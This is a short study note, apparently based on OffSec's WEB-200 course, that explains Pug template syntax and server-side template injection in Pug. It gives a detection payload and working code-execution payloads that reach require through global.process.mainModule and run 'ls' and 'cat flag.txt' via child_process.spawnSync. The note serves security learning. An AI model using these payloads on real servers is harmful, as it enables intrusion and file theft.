Pug
Syntax
The content below is based on OffSec's WEB-200 course.
Pug is specially-designed to generate HTML files and that is why it has syntax for specifying an HTML tag and tag attributes. Some things to note:
Pug requires the first word to be the HTML tag that will wrap the following data (e.g.
h1).It allows us to pass tag attributes within parantheses after the tag declaration (
input(type='hidden' name='admin' value='true').Keywords like
ifandelseare not treated as HTML tags.Puge can execute JavaScript code directly.
With the dash character (
-) the code will be executed by the JavaScript engine and the output won't be displayed (unbuffered code) (- secret = ['❤️','😍', '🤟']).With the equal sign (
=) the code will be execute and the output will be displayed (buffered code) (= secret = ['❤️','😍', '🤟']).
h1 Hello, #{name}
input(type='hidden' name='admin' value='true')
if showSecret
- secret = ['❤️','😍', '🤟']
p The secrets are:
each val in secret
p #{val}
else
p No secret for you!SSTI
The example below is based on OffSec's WEB-200 course.
Pug requires each line to start with an HTML tag and it uses JavaScript which handles in a non-strict way. Thus, we can use a simple payload such as #{7*'7'} and it is executed to 49 and wrapped around <>, we can infer that Pug is used (Figure 1).

Pug is typically rendering on the server-side and since we know that it uses NodeJS, we can use the child_process.spawnSync command to execute system commands. The child_process module is not available by default, but we can import it via the requirefunction, if the latter exists (Figure 2).
= require
require function is available.It seems that we don't have direct access to require but we can still access it through global.process.mainModule (Figure 3).
= global.process.mainModule.require
require via the global object.Next, we can use require to import child_process, and use the latter for execute system commands (Figure 4).
- var require = global.process.mainModule.require
= require('child_process').spawnSync('ls').stdout
To read the flag we need to pass the file as a command argument.
- var require = global.process.mainModule.require
= require('child_process').spawnSync('cat',['flag.txt']).stdoutLast updated
Was this helpful?